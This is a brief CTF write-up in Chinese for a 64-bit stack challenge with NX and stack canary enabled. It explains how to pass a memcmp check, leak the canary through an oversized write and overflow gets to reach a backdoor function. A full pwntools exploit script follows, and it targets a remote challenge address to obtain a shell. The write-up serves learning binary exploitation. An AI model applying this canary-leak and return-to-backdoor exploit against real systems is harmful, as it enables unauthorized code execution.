回来做一道栈上的题,64位开启nx和canary保护
本题存在memcmp函数比较输入0x10字节的内容,gdb动态调试可以找出比较的固定值
之后会有write函数打印0x100个字节的字符,可以覆盖到canary,因此可以泄露到canary;
最后gets时padding+canary+padding+back_door即可溢出得到shell
本题第一个发送比较时需要用send不能sendline
exp:
from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./test_your_gdb")
io=remote("1.14.71.254",28043)
back_door=0x401256
io.recvuntil("word\n")
# gdb.attach(io)
# pause()
payload=p64(0xb0361e0e8294f147)+p64(0x8c09e0c34ed8a6a9)
io.send(payload)
io.recv(0x19)
canary=u64(io.recv(7).rjust(8,b"\x00"))
print("canary: "+hex(canary))
payload=cyclic(0x18)+p64(canary)+p64(0)+p64(back_door)
io.sendline(payload)
io.interactive()